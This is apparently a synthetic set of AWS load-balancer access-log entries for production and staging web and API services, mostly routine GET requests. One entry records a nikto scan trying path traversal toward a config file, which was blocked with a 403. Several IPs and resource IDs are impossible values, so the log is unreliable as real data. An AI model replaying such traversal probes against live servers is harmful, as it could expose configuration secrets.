68.127.212.140:53281 43.157.119.232:443 0.082195 0.712193 0.103219 200 200 631 8455 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb52-893553201a874c328588f08a" "-" "-" 1 2024-11-01T00:16:02.506450Z "forward" "-" "-" "43.157.119.232:443" "200" "-" "-" -https 2024-11-01T00:16:03.042625Z prod-web-alb 45.155.205.19:18630 10.0.96.112:443 0.012743 0.174972 0.046383 403 403 846 3923 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb53-3517688709804d64986beedf" "-" "-" 7 2024-11-01T00:16:03.042625Z "forward" "-" "-" "10.0.96.112:443" "403" "-" "-" -https 2024-11-01T00:16:03.275981Z prod-api-alb 240.246.106.37:44861 10.0.189.252:443 0.066268 0.013943 0.073944 301 301 744 516 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb53-94aac9adc7b3449f80256bc5" "prod-api-alb.example.com" "-" 8 2024-11-01T00:16:03.275981Z "forward" "-" "-" "10.0.189.252:443" "301" "-" "-" -https 2024-11-01T00:16:03.525284Z prod-api-alb 251.154.94.32:51268 10.0.30.157:443 0.081894 0.066281 0.015825 200 200 26 2822 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb53-7e100dac35524842a9e59dee" "prod-api-alb.example.com" "-" 10 2024-11-01T00:16:03.525284Z "forward" "-" "-" "10.0.30.157:443" "200" "-" "-" -https 2024-11-01T00:16:05.053655Z prod-web-alb 238.18.107.92:39157 10.0.109.165:443 0.049067 0.142659 0.063387 302 302 342 836 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb55-03e65fe27d12445eacf6571c" "prod-web-alb.example.com" "-" 5 2024-11-01T00:16:05.053655Z "forward" "-" "-" "10.0.109.165:443" "302" "-" "-" -https 2024-11-01T00:16:05.173822Z prod-web-alb 134.245.245.207:47381 10.0.213.250:443 0.090713 0.478344 0.007627 200 200 250 5647 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb55-2667239d08fb4c3e82d675ab" "prod-web-alb.example.com" "-" 4 2024-11-01T00:16:05.173822Z "forward" "-" "-" "10.0.213.250:443" "200" "-" "-" -http 2024-11-01T00:16:06.662187Z staging-alb 227.22.201.168:43230 202.73.152.199:8080 0.092337 0.554970 0.119530 302 302 503 14230 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb56-a50c99cf4f2448ecbe52ea23" "staging-alb.example.com" "-" 5 2024-11-01T00:16:06.662187Z "forward" "-" "-" "202.73.152.199:8080" "302" "-" "-" -http 2024-11-01T00:16:07.666776Z staging-alb 112.248.157.24:63705 72.71.182.247:443 0.112032 0.483542 0.011370 404 404 493 11715 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb57-52226ed76e2d49bf9126ea46" "staging-alb.example.com" "-" 7 2024-11-01T00:16:07.666776Z "forward" "-" "-" "72.71.182.247:443" "404" "-" "-" -https 2024-11-01T00:16:08.270047Z prod-web-alb 185.72.226.9:38642 10.0.188.94:443 0.043808 0.062803 0.098352 200 200 192 9596 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb58-91276806a4474583b2b4fce0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:16:08.270047Z "forward" "-" "-" "10.0.188.94:443" "200" "-" "-" -https 2024-11-01T00:16:08.669773Z prod-api-alb 138.245.196.147:27985 10.0.135.54:443 0.028262 0.056245 0.072766 200 200 133 8291 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb58-5aa9978bdf5f41ee810c7317" "prod-api-alb.example.com" "-" 10 2024-11-01T00:16:08.669773Z "forward" "-" "-" "10.0.135.54:443" "200" "-" "-" -https 2024-11-01T00:16:10.540732Z prod-web-alb 96.148.81.173:11243 10.0.211.85:443 0.062511 0.130284 0.079669 200 200 268 4767 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb5a-6cb8a557bd744ec4bf4de052" "prod-web-alb.example.com" "-" 1 2024-11-01T00:16:10.540732Z "forward" "-" "-" "10.0.211.85:443" "200" "-" "-" -https 2024-11-01T00:16:11.914123Z prod-api-alb 161.31.114.16:45379 10.0.140.179:443 0.005822 0.461285 0.000644 200 200 408 10024 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb5b-d5cc7bf26bc447e7830d6e8e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:16:11.914123Z "forward" "-" "-" "10.0.140.179:443" "200" "-" "-" -https 2024-11-01T00:16:12.600368Z prod-api-alb 46.169.108.118:51262 10.0.133.228:443 0.084419 0.213566 0.025011 200 200 172 852 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb5c-5826298081cc4cecae971b9e" "prod-api-alb.example.com" "-" 0 2024-11-01T00:16:12.600368Z "forward" "-" "-" "10.0.133.228:443" "200" "-" "-" -https 2024-11-01T00:16:14.331365Z prod-web-alb 206.155.218.18:26123 10.0.208.120:443 0.020772 0.147219 0.021647 404 404 416 13524 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb5e-266b6a8012844e509ce3502b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:16:14.331365Z "forward" "-" "-" "10.0.208.120:443" "404" "-" "-" -https 2024-11-01T00:16:14.795488Z staging-alb 108.162.165.133:42993 49.54.183.64:8080 0.050860 0.720181 0.045339 301 301 602 7031 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb5e-feec4a33e43344159644f84f" "staging-alb.example.com" "-" 4 2024-11-01T00:16:14.795488Z "forward" "-" "-" "49.54.183.64:8080" "301" "-" "-" -https 2024-11-01T00:16:15.587384Z prod-api-alb 12.58.33.100:20487 10.0.149.89:443 0.065778 0.066150 0.032145 302 302 656 13021 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb5f-b6607b42f58442088a121cd6" "prod-api-alb.example.com" "-" 7 2024-11-01T00:16:15.587384Z "forward" "-" "-" "10.0.149.89:443" "302" "-" "-" -https 2024-11-01T00:16:17.522508Z staging-alb 137.76.118.42:12845 240.59.105.59:443 0.135536 0.462463 0.014779 200 200 978 14638 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb61-0d1b4ba1ee2e40569be99ea1" "staging-alb.example.com" "-" 2 2024-11-01T00:16:17.522508Z "forward" "-" "-" "240.59.105.59:443" "200" "-" "-" -https 2024-11-01T00:16:19.388300Z prod-api-alb 196.39.35.80:22628 10.0.33.205:443 0.098686 0.359722 0.099808 200 200 947 2634 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb63-93f3b046677a4cfe83bfb271" "prod-api-alb.example.com" "-" 1 2024-11-01T00:16:19.388300Z "forward" "-" "-" "10.0.33.205:443" "200" "-" "-" -https 2024-11-01T00:16:20.592862Z prod-web-alb 199.211.71.25:43704 10.0.140.233:443 0.012743 0.291998 0.039858 404 404 66 6173 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb64-51d6e813fd274dfc88cab033" "prod-web-alb.example.com" "-" 2 2024-11-01T00:16:20.592862Z "forward" "-" "-" "10.0.140.233:443" "404" "-" "-" -https 2024-11-01T00:16:22.355492Z prod-web-alb 222.222.196.191:37364 10.0.38.13:443 0.039557 0.268340 0.040144 200 200 55 12999 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb66-27367701202b4e9fa4789d8c" "prod-web-alb.example.com" "-" 7 2024-11-01T00:16:22.355492Z "forward" "-" "-" "10.0.38.13:443" "200" "-" "-" -https 2024-11-01T00:16:23.764880Z staging-alb 164.231.88.214:35641 198.36.107.127:8080 0.038858 0.196238 0.122280 200 200 143 10841 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb67-b399500838424874bad157f8" "staging-alb.example.com" "-" 0 2024-11-01T00:16:23.764880Z "forward" "-" "-" "198.36.107.127:8080" "200" "-" "-" -https 2024-11-01T00:16:24.961255Z prod-web-alb 57.159.219.48:20502 10.0.196.222:443 0.027116 0.215730 0.010452 404 404 705 12777 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb68-fda08d8096fa41628b946965" "prod-web-alb.example.com" "-" 8 2024-11-01T00:16:24.961255Z "forward" "-" "-" "10.0.196.222:443" "404" "-" "-" -http 2024-11-01T00:16:25.277520Z staging-alb 103.90.77.254:63136 168.8.207.214:8080 0.115264 0.114854 0.146764 200 200 790 13360 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb69-044d68871f91437885a4c10f" "staging-alb.example.com" "-" 10 2024-11-01T00:16:25.277520Z "forward" "-" "-" "168.8.207.214:8080" "200" "-" "-" -https 2024-11-01T00:16:26.927161Z prod-api-alb 101.128.115.47:34605 10.0.219.101:443 0.001287 0.262059 0.022140 301 301 372 2595 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb6a-ae1d2b5e850f4a45b0c25e9c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:16:26.927161Z "forward" "-" "-" "10.0.219.101:443" "301" "-" "-" -https 2024-11-01T00:16:27.557123Z prod-web-alb 90.123.101.72:59303 10.0.55.29:443 0.081974 0.333686 0.059813 301 301 830 7930 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb6b-b46baa8671374087a0644f0a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:16:27.557123Z "forward" "-" "-" "10.0.55.29:443" "301" "-" "-" -https 2024-11-01T00:16:28.362663Z prod-api-alb 94.183.237.128:63996 10.0.122.114:443 0.080029 0.067043 0.039127 301 301 56 4772 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb6c-bb4d253aa3d940b5a255621c" "prod-api-alb.example.com" "-" 5 2024-11-01T00:16:28.362663Z "forward" "-" "-" "10.0.122.114:443" "301" "-" "-" -http 2024-11-01T00:16:28.593436Z staging-alb 141.215.123.146:12783 196.21.149.223:80 0.053192 0.650070 0.113789 200 200 403 14284 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb6c-279a76300b9548a0bb67a3e7" "staging-alb.example.com" "-" 3 2024-11-01T00:16:28.593436Z "forward" "-" "-" "196.21.149.223:80" "200" "-" "-" -https 2024-11-01T00:16:29.863120Z prod-web-alb 223.98.229.117:34782 10.0.209.63:443 0.095580 0.416080 0.071236 200 200 472 5674 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb6d-32a20d3f224045d195b3be5b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:16:29.863120Z "forward" "-" "-" "10.0.209.63:443" "200" "-" "-" -https 2024-11-01T00:16:31.013953Z prod-web-alb 178.124.152.63:62287 10.0.117.162:443 0.094431 0.288157 0.075995 301 301 885 5470 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb6f-374134d85f6a4d3ab55f8000" "prod-web-alb.example.com" "-" 1 2024-11-01T00:16:31.013953Z "forward" "-" "-" "10.0.117.162:443" "301" "-" "-" -https 2024-11-01T00:16:32.396369Z prod-api-alb 208.88.162.174:54192 10.0.200.177:443 0.043211 0.466470 0.059769 404 404 58 3347 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb70-e829a511c0384e1eb2949990" "prod-api-alb.example.com" "-" 10 2024-11-01T00:16:32.396369Z "forward" "-" "-" "10.0.200.177:443" "404" "-" "-" -http 2024-11-01T00:16:33.740149Z staging-alb 51.232.228.29:26144 88.221.8.212:80 0.093379 0.242614 0.044590 301 301 285 4933 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb71-c0ac8908da6f486eb354d812" "staging-alb.example.com" "-" 1 2024-11-01T00:16:33.740149Z "forward" "-" "-" "88.221.8.212:80" "301" "-" "-" -https 2024-11-01T00:16:35.090179Z staging-alb 7.35.22.1:55069 214.130.83.115:8080 0.119114 0.145372 0.081667 200 200 854 13345 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb73-bfbbca871b2f4278bc7c7156" "staging-alb.example.com" "-" 1 2024-11-01T00:16:35.090179Z "forward" "-" "-" "214.130.83.115:8080" "200" "-" "-" -https 2024-11-01T00:16:36.972245Z prod-api-alb 198.250.164.228:43540 10.0.39.229:443 0.047232 0.172056 0.093813 200 200 312 12666 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb74-21667d2ae10b4cfdbde984f1" "prod-api-alb.example.com" "-" 6 2024-11-01T00:16:36.972245Z "forward" "-" "-" "10.0.39.229:443" "200" "-" "-" -http 2024-11-01T00:16:38.131887Z staging-alb 104.177.16.94:10294 0.103.72.24:80 0.105687 0.628852 0.073710 404 404 17 10408 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb76-8061a71100144841a5631df2" "staging-alb.example.com" "-" 1 2024-11-01T00:16:38.131887Z "forward" "-" "-" "0.103.72.24:80" "404" "-" "-" -https 2024-11-01T00:16:39.360607Z prod-web-alb 92.183.204.53:31614 10.0.13.251:443 0.053423 0.291664 0.036151 404 404 834 14068 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb77-2b08c0693cde43029209221a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:16:39.360607Z "forward" "-" "-" "10.0.13.251:443" "404" "-" "-" -https 2024-11-01T00:16:40.998187Z staging-alb 156.154.173.82:60466 59.0.121.85:8080 0.132325 0.128033 0.121400 200 200 728 13925 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb78-294a315890ba4b1c90fc7c6a" "staging-alb.example.com" "-" 1 2024-11-01T00:16:40.998187Z "forward" "-" "-" "59.0.121.85:8080" "200" "-" "-" -https 2024-11-01T00:16:41.846084Z prod-api-alb 156.149.99.243:33443 10.0.188.127:443 0.071592 0.417112 0.003388 200 200 993 4330 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb79-50dba57c6cf74d3caefe072c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:16:41.846084Z "forward" "-" "-" "10.0.188.127:443" "200" "-" "-" -http 2024-11-01T00:16:42.257291Z staging-alb 79.220.238.109:63206 111.13.105.209:80 0.023958 0.737662 0.004101 200 200 492 14025 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb7a-7f437e26367b44368bd2bb41" "staging-alb.example.com" "-" 1 2024-11-01T00:16:42.257291Z "forward" "-" "-" "111.13.105.209:80" "200" "-" "-" -https 2024-11-01T00:16:43.195096Z prod-web-alb 205.212.108.145:28836 10.0.25.131:443 0.083606 0.100557 0.021661 200 200 369 4382 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb7b-b0291955948d419a9d900d5f" "prod-web-alb.example.com" "-" 4 2024-11-01T00:16:43.195096Z "forward" "-" "-" "10.0.25.131:443" "200" "-" "-" -http 2024-11-01T00:16:44.016907Z staging-alb 189.56.61.176:16863 178.176.139.35:80 0.136405 0.111802 0.049992 301 301 61 5712 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bb7c-fbb0f1056fba438eb626ea1f" "staging-alb.example.com" "-" 5 2024-11-01T00:16:44.016907Z "forward" "-" "-" "178.176.139.35:80" "301" "-" "-" -https 2024-11-01T00:16:44.718917Z staging-alb 195.71.86.255:19648 29.68.156.84:443 0.079143 0.528166 0.075081 302 302 728 14565 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bb7c-562472c973cf4ee3bb0e673d" "staging-alb.example.com" "-" 6 2024-11-01T00:16:44.718917Z "forward" "-" "-" "29.68.156.84:443" "302" "-" "-" -https 2024-11-01T00:16:46.669399Z prod-web-alb 153.183.185.221:53063 10.0.207.214:443 0.024895 0.091763 0.094590 200 200 144 10962 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb7e-d43ec970c8b648069dd944d2" "prod-web-alb.example.com" "-" 3 2024-11-01T00:16:46.669399Z "forward" "-" "-" "10.0.207.214:443" "200" "-" "-" -https 2024-11-01T00:16:48.205778Z prod-api-alb 50.201.36.5:61389 10.0.132.152:443 0.067807 0.362827 0.047136 302 302 127 7892 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bb80-da75994f0de14b45ab84f0f0" "prod-api-alb.example.com" "-" 0 2024-11-01T00:16:48.205778Z "forward" "-" "-" "10.0.132.152:443" "302" "-" "-" -https 2024-11-01T00:16:48.356539Z prod-web-alb 34.6.42.165:57417 10.0.46.90:443 0.008777 0.471011 0.083932 404 404 291 6341 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bb80-f6838d9839984f1991050213" "prod-web-alb.example.com" "-" 5 2024-11-01T00:16:48.356539Z "forward" "-" "-" "10.0.46.90:443" "404" "-" "-" -https 2024-11-01T00:16:49.174350Z prod-web-alb 101.167.118.206:41824 10.0.78.143:443 0.003333 0.077173 0.088227 404 404 346 12623 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bb81-9a7f823742f34460b9fe5510" "prod-web-alb.example.com" "-" 5 2024-11-01T00:16:49.174350Z "forward" "-" "-" "10.0.78.143:443" "404" "-" "-" -https 2024-11-01T00:16:49.386525Z prod-api-alb 154.75.5.158:34967 10.0.138.186:443 0.056219 0.247909 0.001298 301 301 819 5582 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb81-7601c2f047b8456797f36d19" "prod-api-alb.example.com" "-" 3 2024-11-01T00:16:49.386525Z "forward" "-" "-" "10.0.138.186:443" "301" "-" "-" -https 2024-11-01T00:16:51.172336Z prod-api-alb 214.192.101.34:27504 10.0.147.186:443 0.022720 0.412443 0.096023 200 200 273 6594 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bb83-3d0a0252baca4e418634b040" "prod-api-alb.example.com" "-" 0 2024-11-01T00:16:51.172336Z "forward" "-" "-" "10.0.147.186:443" "200" "-" "-" -http 2024-11-01T00:16:52.976830Z staging-alb 45.183.189.225:46066 182.138.91.226:8080 0.023816 0.306180 0.048260 404 404 563 11011 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 